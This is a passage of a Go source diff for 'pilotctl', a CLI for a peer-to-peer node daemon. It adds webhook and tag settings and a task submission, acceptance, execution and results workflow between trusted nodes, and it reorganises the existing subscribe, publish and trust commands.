-1238,7 +1545,7 @@ func runDaemonForeground(configFile, registryAddr, beaconAddr, listenAddr, os.Exit(1) } // Apply config values as defaults (CLI flags override) - if registryAddr == "35.193.106.76:9000" { + if registryAddr == "34.71.57.205:9000" { if v, ok := cfg["registry"].(string); ok { registryAddr = v } @@ -1253,15 +1560,20 @@ func runDaemonForeground(configFile, registryAddr, beaconAddr, listenAddr, logging.Setup(logLevel, logFormat) d := daemon.New(daemon.Config{ - RegistryAddr: registryAddr, - BeaconAddr: beaconAddr, - ListenAddr: listenAddr, - SocketPath: socketPath, - Encrypt: encrypt, - IdentityPath: identityPath, - Owner: owner, - Public: public, - Hostname: hostname, + RegistryAddr: registryAddr, + BeaconAddr: beaconAddr, + ListenAddr: listenAddr, + SocketPath: socketPath, + Encrypt: encrypt, + IdentityPath: identityPath, + Email: email, + Public: public, + Hostname: hostname, + WebhookURL: webhookURL, + AdminToken: adminToken, + Networks: pilotctlParseNetworkIDs(networks), + TrustAutoApprove: trustAutoApprove, + Version: version, }) if err := d.Start(); err != nil { @@ -1296,6 +1608,28 @@ func runDaemonForeground(configFile, registryAddr, beaconAddr, listenAddr, d.Stop() } +// pilotctlParseNetworkIDs parses a comma-separated string of network IDs into a uint16 slice. +func pilotctlParseNetworkIDs(s string) []uint16 { + if s == "" { + return nil + } + parts := strings.Split(s, ",") + var ids []uint16 + for _, p := range parts { + p = strings.TrimSpace(p) + if p == "" { + continue + } + n, err := strconv.ParseUint(p, 10, 16) + if err != nil { + slog.Warn("invalid network ID", "value", p, "error", err) + continue + } + ids = append(ids, uint16(n)) + } + return ids +} + // PID file helpers func readPID() int { data, err := os.ReadFile(pidFilePath()) @@ -1558,13 +1892,13 @@ func cmdLookup(args []string) { func cmdRotateKey(args []string) { if len(args) < 2 { - fatalCode("invalid_argument", "usage: pilotctl rotate-key ") + fatalCode("invalid_argument", "usage: pilotctl rotate-key ") } nodeID := parseNodeID(args[0]) - owner := args[1] + email := args[1] rc := connectRegistry() defer rc.Close() - resp, err := rc.RotateKey(nodeID, "", owner) + resp, err := rc.RotateKey(nodeID, "", email) if err != nil { fatalCode("connection_failed", "rotate-key: %v", err) } @@ -1591,6 +1925,26 @@ func cmdSetPrivate(args []string) { output(resp) } +func cmdEnableTasks() { + d := connectDriver() + defer d.Close() + resp, err := d.SetTaskExec(true) + if err != nil { + fatalCode("connection_failed", "enable-tasks: %v", err) + } + output(resp) +} + +func cmdDisableTasks() { + d := connectDriver() + defer d.Close() + resp, err := d.SetTaskExec(false) + if err != nil { + fatalCode("connection_failed", "disable-tasks: %v", err) + } + output(resp) +} + func cmdDeregister(args []string) { d := connectDriver() defer d.Close() @@ -1701,6 +2055,132 @@ func cmdClearHostname() { } } +func cmdSetWebhook(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl set-webhook ") + } + url := args[0] + if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") { + fatalCode("invalid_argument", "webhook URL must start with http:// or https://") + } + + // Persist to config so it survives daemon restart + cfg := loadConfig() + cfg["webhook"] = url + if err := saveConfig(cfg); err != nil { + fatalCode("internal", "save config: %v", err) + } + + // Apply to running daemon (best-effort — daemon may not be running) + applied := false + d, err := driver.Connect(getSocket()) + if err == nil { + _, err = d.SetWebhook(url) + d.Close() + if err == nil { + applied = true + } + } + + if jsonOutput { + outputOK(map[string]interface{}{ + "webhook": url, + "applied": applied, + }) + } else { + fmt.Printf("webhook set: %s\n", url) + if applied { + fmt.Printf("applied to running daemon\n") + } else { + fmt.Printf("will take effect on next daemon start\n") + } + } +} + +func cmdClearWebhook() { + cfg := loadConfig() + delete(cfg, "webhook") + if err := saveConfig(cfg); err != nil { + fatalCode("internal", "save config: %v", err) + } + + // Apply to running daemon (best-effort) + applied := false + d, err := driver.Connect(getSocket()) + if err == nil { + _, err = d.SetWebhook("") + d.Close() + if err == nil { + applied = true + } + } + + if jsonOutput { + outputOK(map[string]interface{}{ + "webhook": "", + "applied": applied, + }) + } else { + fmt.Printf("webhook cleared\n") + if applied { + fmt.Printf("applied to running daemon\n") + } else { + fmt.Printf("will take effect on next daemon start\n") + } + } +} + +func cmdSetTags(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl set-tags [tag2] ...") + } + if len(args) > 3 { + fatalCode("invalid_argument", "set-tags: maximum 3 tags allowed, got %d", len(args)) + } + d := connectDriver() + defer d.Close() + + result, err := d.SetTags(args) + if err != nil { + fatalCode("connection_failed", "set-tags: %v", err) + } + + if jsonOutput { + outputOK(map[string]interface{}{ + "node_id": result["node_id"], + "tags": result["tags"], + }) + } else { + tags := "none" + if t, ok := result["tags"].([]interface{}); ok && len(t) > 0 { + parts := make([]string, len(t)) + for i, v := range t { + parts[i] = fmt.Sprintf("#%s", v) + } + tags = strings.Join(parts, " ") + } + fmt.Printf("tags set: %s\n", tags) + } +} + +func cmdClearTags() { + d := connectDriver() + defer d.Close() + + _, err := d.SetTags([]string{}) + if err != nil { + fatalCode("connection_failed", "clear-tags: %v", err) + } + + if jsonOutput { + outputOK(map[string]interface{}{ + "tags": []string{}, + }) + } else { + fmt.Printf("tags cleared\n") + } +} + // ===================== COMMUNICATION ===================== func cmdConnect(args []string) { @@ -2126,10 +2606,12 @@ func cmdSendMessage(args []string) { outputOK(result) } -func cmdSubscribe(args []string) { +// ===================== TASK SUBCOMMANDS ===================== + +func cmdTaskSubmit(args []string) { flags, pos := parseFlags(args) - if len(pos) < 2 { - fatalCode("invalid_argument", "usage: pilotctl subscribe [--count ] [--timeout ]") + if len(pos) < 1 { + fatalCode("invalid_argument", "usage: pilotctl task submit --task ") } d := connectDriver() @@ -2140,1193 +2622,3038 @@ func cmdSubscribe(args []string) { fatalCode("not_found", "%v", err) } - topic := pos[1] - count := flagInt(flags, "count", 0) // 0 = infinite - timeout := flagDuration(flags, "timeout", 0) + taskDesc := flagString(flags, "task", "") + if taskDesc == "" { + fatalCode("invalid_argument", "--task is required") + } - client, err := eventstream.Subscribe(d, target, topic) + client, err := tasksubmit.Dial(d, target) if err != nil { fatalHint("connection_failed", fmt.Sprintf("check that %s is reachable: pilotctl ping %s", target, target), - "cannot subscribe on %s (event stream port %d)", target, protocol.PortEventStream) + "cannot connect to %s (task submit port %d)", target, protocol.PortTaskSubmit) } defer client.Close() - if !jsonOutput { - fmt.Fprintf(os.Stderr, "subscribed to %q on %s — waiting for events...\n", topic, target) + resp, err := client.SubmitTask(taskDesc, target.String()) + if err != nil { + fatalCode("connection_failed", "submit: %v", err) } - var events []map[string]interface{} - received := 0 + // Save task file locally (submitted/) + if resp.Status == tasksubmit.StatusAccepted { + info, _ := d.Info() + localAddr := "" + if addr, ok := info["address"].(string); ok { + localAddr = addr + } + tf := tasksubmit.NewTaskFile(resp.TaskID, taskDesc, localAddr, target.String()) + if err := daemon.SaveTaskFile(tf, true); err != nil { + slog.Warn("failed to save submitted task file", "error", err) + } + } - var deadline <-chan time.Time - if timeout > 0 { - deadline = time.After(timeout) + result := map[string]interface{}{ + "target": target.String(), + "task_id": resp.TaskID, + "task": taskDesc, + "status": resp.Status, + "message": resp.Message, + "accepted": resp.Status == tasksubmit.StatusAccepted, } - for { - if count > 0 && received >= count { - break - } + outputOK(result) +} - evtCh := make(chan *eventstream.Event) - errCh := make(chan error) - go func() { - evt, err := client.Recv() - if err != nil { - errCh <- err - return - } - evtCh <- evt - }() +func cmdTaskAccept(args []string) { + flags, _ := parseFlags(args) - select { - case evt := <-evtCh: - received++ - msg := map[string]interface{}{ - "topic": evt.Topic, - "data": string(evt.Payload), - "bytes": len(evt.Payload), - } - events = append(events, msg) + taskID := flagString(flags, "id", "") + if taskID == "" { + fatalCode("invalid_argument", "--id is required") + } - if jsonOutput { - if count > 0 && received >= count { - break // will exit loop and print all - } - // Stream each event as NDJSON for unbounded - if count == 0 { - b, _ := json.Marshal(msg) - fmt.Println(string(b)) - } - } else { - fmt.Printf("[%s] %s\n", evt.Topic, string(evt.Payload)) - } - case err := <-errCh: - if count > 0 && received > 0 { - // Partial results - if jsonOutput { - output(map[string]interface{}{ - "events": events, - "timeout": false, - "error": err.Error(), - }) - } - return - } - fatalCode("connection_failed", "recv: %v", err) - case <-deadline: - if jsonOutput && count > 0 { - output(map[string]interface{}{ - "events": events, - "timeout": true, - }) - } else if !jsonOutput { - fmt.Fprintln(os.Stderr, "timeout") - } - return - } + // Load task from received/ + tf, err := daemon.LoadTaskFile(taskID) + if err != nil { + fatalHint("not_found", + "check pilotctl task list --type received", + "task not found: %s", taskID) } - if jsonOutput && count > 0 { - output(map[string]interface{}{ - "events": events, - "timeout": false, - }) + if tf.Status != tasksubmit.TaskStatusNew { + fatalCode("invalid_state", "task %s is already %s", taskID, tf.Status) } -} -func cmdPublish(args []string) { - flags, pos := parseFlags(args) - if len(pos) < 2 { - fatalCode("invalid_argument", "usage: pilotctl publish --data ") + // Check if task has expired for acceptance (1 minute timeout) + if tf.IsExpiredForAccept() { + fatalCode("expired", "task %s has expired (accept deadline was 1 minute after creation)", taskID) } + // Update status to ACCEPTED with time_idle calculation + if err := daemon.UpdateTaskFileWithTimes(taskID, tasksubmit.TaskStatusAccepted, "Task accepted", "accept", false, ""); err != nil { + fatalCode("internal_error", "failed to update task status: %v", err) + } + + // Send status update to submitter d := connectDriver() defer d.Close() - target, err := parseAddrOrHostname(d, pos[0]) + fromAddr, err := protocol.ParseAddr(tf.From) if err != nil { - fatalCode("not_found", "%v", err) + fatalCode("invalid_argument", "invalid from address: %v", err) } - topic := pos[1] - data := flagString(flags, "data", "") - if data == "" { - fatalCode("invalid_argument", "--data is required") - } - - // Subscribe first (required by the broker protocol), then publish - client, err := eventstream.Subscribe(d, target, topic) + client, err := tasksubmit.Dial(d, fromAddr) if err != nil { - fatalHint("connection_failed", - fmt.Sprintf("check that %s is reachable: pilotctl ping %s", target, target), - "cannot connect to %s (event stream port %d)", target, protocol.PortEventStream) + // Still accept locally even if we can't notify submitter + slog.Warn("could not notify submitter", "error", err) + outputOK(map[string]interface{}{ + "task_id": taskID, + "status": tasksubmit.TaskStatusAccepted, + "message": "Task accepted (submitter notification failed)", + }) + return } defer client.Close() - if err := client.Publish(topic, []byte(data)); err != nil { - fatalCode("connection_failed", "publish failed: %v", err) + if err := client.SendStatusUpdate(taskID, tasksubmit.TaskStatusAccepted, "Task accepted"); err != nil { + slog.Warn("could not send status update", "error", err) } outputOK(map[string]interface{}{ - "target": target.String(), - "topic": topic, - "bytes": len(data), + "task_id": taskID, + "status": tasksubmit.TaskStatusAccepted, + "message": "Task accepted", }) } -// ===================== TRUST ===================== - -func cmdHandshake(args []string) { - if len(args) < 1 { - fatalCode("invalid_argument", "usage: pilotctl handshake [justification]") - } - d := connectDriver() - defer d.Close() +func cmdTaskDecline(args []string) { + flags, _ := parseFlags(args) - var nodeID uint32 - target := args[0] - if id, err := strconv.ParseUint(target, 10, 32); err == nil { - nodeID = uint32(id) - } else { - _, resolved, err := resolveHostnameToAddr(d, target) - if err != nil { - fatalCode("not_found", "resolve hostname %q: %v", target, err) - } - nodeID = resolved - if !jsonOutput { - fmt.Fprintf(os.Stderr, "resolved %s → node %d\n", target, nodeID) - } + taskID := flagString(flags, "id", "") + if taskID == "" { + fatalCode("invalid_argument", "--id is required") } - justification := "" - if len(args) > 1 { - justification = args[1] + justification := flagString(flags, "justification", "") + if justification == "" { + fatalCode("invalid_argument", "--justification is required") } - result, err := d.Handshake(nodeID, justification) + // Load task from received/ + tf, err := daemon.LoadTaskFile(taskID) if err != nil { - fatalCode("connection_failed", "handshake: %v", err) - } - if jsonOutput { - result["node_id"] = nodeID - output(result) - } else { - status, _ := result["status"].(string) - if status == "already_trusted" { - fmt.Printf("already trusted with node %d — ready to communicate\n", nodeID) - } else { - fmt.Printf("handshake request sent to node %d\n", nodeID) - fmt.Printf(" next: node %d must approve — or send a handshake back for auto-approval\n", nodeID) - fmt.Printf(" check: pilotctl trust\n") - } + fatalHint("not_found", + "check pilotctl task list --type received", + "task not found: %s", taskID) } -} -func cmdApprove(args []string) { - if len(args) < 1 { - fatalCode("invalid_argument", "usage: pilotctl approve ") + if tf.Status != tasksubmit.TaskStatusNew { + fatalCode("invalid_state", "task %s is already %s", taskID, tf.Status) } - d := connectDriver() - defer d.Close() - nodeID := parseNodeID(args[0]) - - result, err := d.ApproveHandshake(nodeID) - if err != nil { - fatalCode("connection_failed", "approve: %v", err) - } - if jsonOutput { - result["node_id"] = nodeID - output(result) - } else { - fmt.Printf("trust established with node %d\n", nodeID) - fmt.Printf(" try: pilotctl ping %d\n", nodeID) + // Update status to DECLINED with time_idle calculation + if err := daemon.UpdateTaskFileWithTimes(taskID, tasksubmit.TaskStatusDeclined, justification, "decline", false, ""); err != nil { + fatalCode("internal_error", "failed to update task status: %v", err) } -} -func cmdReject(args []string) { - if len(args) < 1 { - fatalCode("invalid_argument", "usage: pilotctl reject [reason]") - } + // Remove from queue if present (shouldn't be, but just in case) + daemon.RemoveFromQueue(taskID) + + // Send status update to submitter d := connectDriver() defer d.Close() - nodeID := parseNodeID(args[0]) - reason := "" - if len(args) > 1 { - reason = args[1] + fromAddr, err := protocol.ParseAddr(tf.From) + if err != nil { + fatalCode("invalid_argument", "invalid from address: %v", err) } - result, err := d.RejectHandshake(nodeID, reason) + client, err := tasksubmit.Dial(d, fromAddr) if err != nil { - fatalCode("connection_failed", "reject: %v", err) - } - if jsonOutput { - result["node_id"] = nodeID - output(result) - } else { - fmt.Printf("handshake from node %d rejected\n", nodeID) + // Still decline locally even if we can't notify submitter + slog.Warn("could not notify submitter", "error", err) + outputOK(map[string]interface{}{ + "task_id": taskID, + "status": tasksubmit.TaskStatusDeclined, + "justification": justification, + "message": "Task declined (submitter notification failed)", + }) + return } -} + defer client.Close() -func cmdUntrust(args []string) { - if len(args) < 1 { - fatalCode("invalid_argument", "usage: pilotctl untrust ") - } - nodeID, err := strconv.ParseUint(args[0], 10, 32) - if err != nil { - fatalCode("invalid_argument", "invalid node_id: %v", err) + if err := client.SendStatusUpdate(taskID, tasksubmit.TaskStatusDeclined, justification); err != nil { + slog.Warn("could not send status update", "error", err) } - d := connectDriver() - defer d.Close() + outputOK(map[string]interface{}{ + "task_id": taskID, + "status": tasksubmit.TaskStatusDeclined, + "justification": justification, + "message": "Task declined", + }) +} - _, err = d.RevokeTrust(uint32(nodeID)) +func cmdTaskExecute(args []string) { + // Get first ACCEPTED task from received/ and mark as EXECUTING + // This should be the task at the head of the queue + tasksDir, err := getTasksDir() if err != nil { - fatalCode("connection_failed", "untrust: %v", err) + fatalCode("internal_error", "failed to get tasks directory: %v", err) } - outputOK(map[string]interface{}{"node_id": nodeID}) -} - -func cmdPending() { - d := connectDriver() - defer d.Close() - result, err := d.PendingHandshakes() + receivedDir := filepath.Join(tasksDir, "received") + entries, err := os.ReadDir(receivedDir) if err != nil { - fatalCode("connection_failed", "pending: %v", err) + if os.IsNotExist(err) { + fatalCode("not_found", "no received tasks found") + } + fatalCode("internal_error", "failed to read tasks directory: %v", err) } - pending, ok := result["pending"].([]interface{}) - if !ok { - pending = []interface{}{} + var taskToExecute *tasksubmit.TaskFile + for _, entry := range entries { + if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".json") { + continue + } + data, err := os.ReadFile(filepath.Join(receivedDir, entry.Name())) + if err != nil { + continue + } + tf, err := tasksubmit.UnmarshalTaskFile(data) + if err != nil { + continue + } + if tf.Status == tasksubmit.TaskStatusAccepted { + taskToExecute = tf + break + } } - if jsonOutput { - output(map[string]interface{}{"pending": pending}) - return + if taskToExecute == nil { + fatalCode("not_found", "no accepted tasks to execute") } - if len(pending) == 0 { - fmt.Println("no pending handshake requests") - fmt.Println(" requests appear here when another node sends: pilotctl handshake ") - return - } + // Get staged time from queue before removing + stagedAt := daemon.GetQueueStagedAt(taskToExecute.TaskID) - fmt.Printf("%-10s %-40s %s\n", "NODE ID", "JUSTIFICATION", "RECEIVED") - for _, p := range pending { - req := p.(map[string]interface{}) - nodeID := int(req["node_id"].(float64)) - justification, _ := req["justification"].(string) - receivedAt := int64(req["received_at"].(float64)) - t := time.Unix(receivedAt, 0) - fmt.Printf("%-10d %-40s %s\n", nodeID, justification, t.Format("2006-01-02 15:04:05")) + // Remove task from queue since we're executing it + daemon.RemoveFromQueue(taskToExecute.TaskID) + + // Update status to EXECUTING with time_staged calculation + if err := daemon.UpdateTaskFileWithTimes(taskToExecute.TaskID, tasksubmit.TaskStatusExecuting, "Task execution started", "execute", false, stagedAt); err != nil { + fatalCode("internal_error", "failed to update task status: %v", err) } -} -func cmdTrust() { + // Send status update to submitter d := connectDriver() defer d.Close() - result, err := d.TrustedPeers() - if err != nil { - fatalCode("connection_failed", "trust: %v", err) + fromAddr, err := protocol.ParseAddr(taskToExecute.From) + if err == nil { + client, err := tasksubmit.Dial(d, fromAddr) + if err == nil { + _ = client.SendStatusUpdate(taskToExecute.TaskID, tasksubmit.TaskStatusExecuting, "Task execution started") + client.Close() + } } - trusted, ok := result["trusted"].([]interface{}) - if !ok { - trusted = []interface{}{} + outputOK(map[string]interface{}{ + "task_id": taskToExecute.TaskID, + "task_description": taskToExecute.TaskDescription, + "status": tasksubmit.TaskStatusExecuting, + "from": taskToExecute.From, + }) +} + +func cmdTaskSendResults(args []string) { + flags, _ := parseFlags(args) + + taskID := flagString(flags, "id", "") + if taskID == "" { + fatalCode("invalid_argument", "--id is required") } - if jsonOutput { - output(map[string]interface{}{"trusted": trusted}) - return + results := flagString(flags, "results", "") + filePath := flagString(flags, "file", "") + + if results == "" && filePath == "" { + fatalCode("invalid_argument", "either --results or --file is required") } - if len(trusted) == 0 { - fmt.Println("no trusted peers") - fmt.Println(" establish trust: pilotctl handshake \"reason\"") - return + // Load task from received/ to verify it exists and get submitter address + tf, err := daemon.LoadTaskFile(taskID) + if err != nil { + fatalHint("not_found", + "check pilotctl task list --type received", + "task not found: %s", taskID) } - fmt.Printf("%-10s %-10s %-10s %s\n", "NODE ID", "MUTUAL", "NETWORK", "APPROVED AT") - for _, t := range trusted { - rec := t.(map[string]interface{}) - nodeID := int(rec["node_id"].(float64)) - mutual := false - if m, ok := rec["mutual"].(bool); ok { - mutual = m + if tf.Status != tasksubmit.TaskStatusExecuting && tf.Status != tasksubmit.TaskStatusAccepted { + fatalCode("invalid_state", "task %s cannot receive results (status: %s)", taskID, tf.Status) + } + + var resultMsg *tasksubmit.TaskResultMessage + + if filePath != "" { + // Validate file extension + ext := strings.ToLower(filepath.Ext(filePath)) + if !tasksubmit.AllowedResultExtensions[ext] { + fatalCode("invalid_argument", "file type %q not allowed for results", ext) } - network := uint16(0) - if n, ok := rec["network"].(float64); ok { - network = uint16(n) + if tasksubmit.ForbiddenResultExtensions[ext] { + fatalCode("invalid_argument", "source code files cannot be sent as results") } - approvedAt := int64(rec["approved_at"].(float64)) - at := time.Unix(approvedAt, 0) - mutualStr := "no" - if mutual { - mutualStr = "yes" + // Read file + data, err := os.ReadFile(filePath) + if err != nil { + fatalCode("internal_error", "failed to read file: %v", err) } - netStr := "-" - if network > 0 { - netStr = fmt.Sprintf("%d", network) + + resultMsg = &tasksubmit.TaskResultMessage{ + TaskID: taskID, + ResultType: "file", + Filename: filepath.Base(filePath), + FileData: data, + CompletedAt: time.Now().UTC().Format(time.RFC3339), + } + } else { + resultMsg = &tasksubmit.TaskResultMessage{ + TaskID: taskID, + ResultType: "text", + ResultText: results, + CompletedAt: time.Now().UTC().Format(time.RFC3339), } - fmt.Printf("%-10d %-10s %-10s %s\n", nodeID, mutualStr, netStr, at.Format("2006-01-02 15:04:05")) } -} -// ===================== MANAGEMENT ===================== + // Update local status to SUCCEEDED with time_cpu calculation + if err := daemon.UpdateTaskFileWithTimes(taskID, tasksubmit.TaskStatusSucceeded, "Results sent successfully", "complete", false, ""); err != nil { + slog.Warn("failed to update local task status", "error", err) + } -func cmdConnections() { + // Reload task file to get computed time values for polo score calculation + updatedTf, err := daemon.LoadTaskFile(taskID) + if err == nil { + // Include time metadata in the result message for polo score calculation + resultMsg.TimeIdleMs = updatedTf.TimeIdleMs + resultMsg.TimeStagedMs = updatedTf.TimeStagedMs + resultMsg.TimeCpuMs = updatedTf.TimeCpuMs + } + + // Send results to submitter d := connectDriver() defer d.Close() - info, err := d.Info() + fromAddr, err := protocol.ParseAddr(tf.From) if err != nil { - fatalCode("connection_failed", "info: %v", err) + fatalCode("invalid_argument", "invalid from address: %v", err) } - connList, ok := info["conn_list"].([]interface{}) - if !ok { - connList = []interface{}{} + client, err := tasksubmit.Dial(d, fromAddr) + if err != nil { + fatalHint("connection_failed", + fmt.Sprintf("check that %s is reachable", tf.From), + "cannot connect to submitter %s", tf.From) } + defer client.Close() - if jsonOutput { - output(map[string]interface{}{ + if err := client.SendResults(resultMsg); err != nil { + fatalCode("connection_failed", "failed to send results: %v", err) + } + + // Also update submitter's copy to SUCCEEDED + if err := client.SendStatusUpdate(taskID, tasksubmit.TaskStatusSucceeded, "Task completed successfully"); err != nil { + slog.Warn("could not send status update to submitter", "error", err) + } + + output := map[string]interface{}{ + "task_id": taskID, + "status": tasksubmit.TaskStatusSucceeded, + "sent_to": tf.From, + "sent_type": resultMsg.ResultType, + } + if filePath != "" { + output["filename"] = filepath.Base(filePath) + output["file_size"] = len(resultMsg.FileData) + } + + outputOK(output) +} + +func cmdTaskList(args []string) { + flags, _ := parseFlags(args) + taskType := flagString(flags, "type", "") + + tasksDir, err := getTasksDir() + if err != nil { + fatalCode("internal_error", "failed to get tasks directory: %v", err) + } + + var tasks []map[string]interface{} + + listTasksInDir := func(dir, category string) { + entries, err := os.ReadDir(dir) + if err != nil { + return + } + for _, entry := range entries { + if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".json") { + continue + } + data, err := os.ReadFile(filepath.Join(dir, entry.Name())) + if err != nil { + continue + } + tf, err := tasksubmit.UnmarshalTaskFile(data) + if err != nil { + continue + } + tasks = append(tasks, map[string]interface{}{ + "task_id": tf.TaskID, + "description": tf.TaskDescription, + "status": tf.Status, + "from": tf.From, + "to": tf.To, + "created_at": tf.CreatedAt, + "category": category, + }) + } + } + + if taskType == "" || taskType == "received" { + listTasksInDir(filepath.Join(tasksDir, "received"), "received") + } + if taskType == "" || taskType == "submitted" { + listTasksInDir(filepath.Join(tasksDir, "submitted"), "submitted") + } + + if len(tasks) == 0 { + if jsonOutput { + outputOK(map[string]interface{}{"tasks": []interface{}{}}) + } else { + fmt.Println("No tasks found") + } + return + } + + if jsonOutput { + outputOK(map[string]interface{}{"tasks": tasks}) + } else { + for _, t := range tasks { + fmt.Printf("[%s] %s (%s) - %s\n From: %s → To: %s\n", + t["category"], t["task_id"], t["status"], t["description"], t["from"], t["to"]) + } + } +} + +func cmdTaskQueue(args []string) { + // Show queued (ACCEPTED) tasks in FIFO order + tasksDir, err := getTasksDir() + if err != nil { + fatalCode("internal_error", "failed to get tasks directory: %v", err) + } + + receivedDir := filepath.Join(tasksDir, "received") + entries, err := os.ReadDir(receivedDir) + if err != nil { + if os.IsNotExist(err) { + if jsonOutput { + outputOK(map[string]interface{}{"queue": []interface{}{}}) + } else { + fmt.Println("Queue is empty") + } + return + } + fatalCode("internal_error", "failed to read tasks directory: %v", err) + } + + var queuedTasks []map[string]interface{} + for _, entry := range entries { + if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".json") { + continue + } + data, err := os.ReadFile(filepath.Join(receivedDir, entry.Name())) + if err != nil { + continue + } + tf, err := tasksubmit.UnmarshalTaskFile(data) + if err != nil { + continue + } + if tf.Status == tasksubmit.TaskStatusAccepted { + queuedTasks = append(queuedTasks, map[string]interface{}{ + "task_id": tf.TaskID, + "description": tf.TaskDescription, + "from": tf.From, + "created_at": tf.CreatedAt, + }) + } + } + + if len(queuedTasks) == 0 { + if jsonOutput { + outputOK(map[string]interface{}{"queue": []interface{}{}}) + } else { + fmt.Println("Queue is empty") + } + return + } + + if jsonOutput { + outputOK(map[string]interface{}{"queue": queuedTasks, "count": len(queuedTasks)}) + } else { + fmt.Printf("Queued tasks (%d):\n", len(queuedTasks)) + for i, t := range queuedTasks { + fmt.Printf(" %d. %s: %s\n From: %s\n", i+1, t["task_id"], t["description"], t["from"]) + } + } +} + +// getTasksDir returns the path to ~/.pilot/tasks directory. +func getTasksDir() (string, error) { + home, err := os.UserHomeDir() + if err != nil { + return "", err + } + return filepath.Join(home, ".pilot", "tasks"), nil +} + +func cmdSubscribe(args []string) { + flags, pos := parseFlags(args) + if len(pos) < 2 { + fatalCode("invalid_argument", "usage: pilotctl subscribe [--count ] [--timeout ]") + } + + d := connectDriver() + defer d.Close() + + target, err := parseAddrOrHostname(d, pos[0]) + if err != nil { + fatalCode("not_found", "%v", err) + } + + topic := pos[1] + count := flagInt(flags, "count", 0) // 0 = infinite + timeout := flagDuration(flags, "timeout", 0) + + client, err := eventstream.Subscribe(d, target, topic) + if err != nil { + fatalHint("connection_failed", + fmt.Sprintf("check that %s is reachable: pilotctl ping %s", target, target), + "cannot subscribe on %s (event stream port %d)", target, protocol.PortEventStream) + } + defer client.Close() + + if !jsonOutput { + fmt.Fprintf(os.Stderr, "subscribed to %q on %s — waiting for events...\n", topic, target) + } + + var events []map[string]interface{} + received := 0 + + var deadline <-chan time.Time + if timeout > 0 { + deadline = time.After(timeout) + } + + for { + if count > 0 && received >= count { + break + } + + evtCh := make(chan *eventstream.Event) + errCh := make(chan error) + go func() { + evt, err := client.Recv() + if err != nil { + errCh <- err + return + } + evtCh <- evt + }() + + select { + case evt := <-evtCh: + received++ + msg := map[string]interface{}{ + "topic": evt.Topic, + "data": string(evt.Payload), + "bytes": len(evt.Payload), + } + events = append(events, msg) + + if jsonOutput { + if count > 0 && received >= count { + break // will exit loop and print all + } + // Stream each event as NDJSON for unbounded + if count == 0 { + b, _ := json.Marshal(msg) + fmt.Println(string(b)) + } + } else { + fmt.Printf("[%s] %s\n", evt.Topic, string(evt.Payload)) + } + case err := <-errCh: + if count > 0 && received > 0 { + // Partial results + if jsonOutput { + output(map[string]interface{}{ + "events": events, + "timeout": false, + "error": err.Error(), + }) + } + return + } + fatalCode("connection_failed", "recv: %v", err) + case <-deadline: + if jsonOutput && count > 0 { + output(map[string]interface{}{ + "events": events, + "timeout": true, + }) + } else if !jsonOutput { + fmt.Fprintln(os.Stderr, "timeout") + } + return + } + } + + if jsonOutput && count > 0 { + output(map[string]interface{}{ + "events": events, + "timeout": false, + }) + } +} + +func cmdPublish(args []string) { + flags, pos := parseFlags(args) + if len(pos) < 2 { + fatalCode("invalid_argument", "usage: pilotctl publish --data ") + } + + d := connectDriver() + defer d.Close() + + target, err := parseAddrOrHostname(d, pos[0]) + if err != nil { + fatalCode("not_found", "%v", err) + } + + topic := pos[1] + data := flagString(flags, "data", "") + if data == "" { + fatalCode("invalid_argument", "--data is required") + } + + // Subscribe first (required by the broker protocol), then publish + client, err := eventstream.Subscribe(d, target, topic) + if err != nil { + fatalHint("connection_failed", + fmt.Sprintf("check that %s is reachable: pilotctl ping %s", target, target), + "cannot connect to %s (event stream port %d)", target, protocol.PortEventStream) + } + defer client.Close() + + if err := client.Publish(topic, []byte(data)); err != nil { + fatalCode("connection_failed", "publish failed: %v", err) + } + + outputOK(map[string]interface{}{ + "target": target.String(), + "topic": topic, + "bytes": len(data), + }) +} + +// ===================== TRUST ===================== + +func cmdHandshake(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl handshake [justification]") + } + d := connectDriver() + defer d.Close() + + var nodeID uint32 + target := args[0] + if id, err := strconv.ParseUint(target, 10, 32); err == nil { + nodeID = uint32(id) + } else if addr, err := protocol.ParseAddr(target); err == nil { + nodeID = addr.Node + if !jsonOutput { + fmt.Fprintf(os.Stderr, "parsed address %s → node %d\n", target, nodeID) + } + } else { + _, resolved, err := resolveHostnameToAddr(d, target) + if err != nil { + fatalCode("not_found", "resolve %q: %v", target, err) + } + nodeID = resolved + if !jsonOutput { + fmt.Fprintf(os.Stderr, "resolved %s → node %d\n", target, nodeID) + } + } + + justification := "" + if len(args) > 1 { + justification = args[1] + } + + result, err := d.Handshake(nodeID, justification) + if err != nil { + fatalCode("connection_failed", "handshake: %v", err) + } + if jsonOutput { + result["node_id"] = nodeID + output(result) + } else { + status, _ := result["status"].(string) + if status == "already_trusted" { + fmt.Printf("already trusted with node %d — ready to communicate\n", nodeID) + } else { + fmt.Printf("handshake request sent to node %d\n", nodeID) + fmt.Printf(" next: node %d must approve — or send a handshake back for auto-approval\n", nodeID) + fmt.Printf(" check: pilotctl trust\n") + } + } +} + +func cmdApprove(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl approve ") + } + d := connectDriver() + defer d.Close() + + nodeID := parseNodeID(args[0]) + + result, err := d.ApproveHandshake(nodeID) + if err != nil { + fatalCode("connection_failed", "approve: %v", err) + } + if jsonOutput { + result["node_id"] = nodeID + output(result) + } else { + fmt.Printf("trust established with node %d\n", nodeID) + fmt.Printf(" try: pilotctl ping %d\n", nodeID) + } +} + +func cmdReject(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl reject [reason]") + } + d := connectDriver() + defer d.Close() + + nodeID := parseNodeID(args[0]) + reason := "" + if len(args) > 1 { + reason = args[1] + } + + result, err := d.RejectHandshake(nodeID, reason) + if err != nil { + fatalCode("connection_failed", "reject: %v", err) + } + if jsonOutput { + result["node_id"] = nodeID + output(result) + } else { + fmt.Printf("handshake from node %d rejected\n", nodeID) + } +} + +func cmdUntrust(args []string) { + if len(args) < 1 { + fatalCode("invalid_argument", "usage: pilotctl untrust ") + } + nodeID, err := strconv.ParseUint(args[0], 10, 32) + if err != nil { + fatalCode("invalid_argument", "invalid node_id: %v", 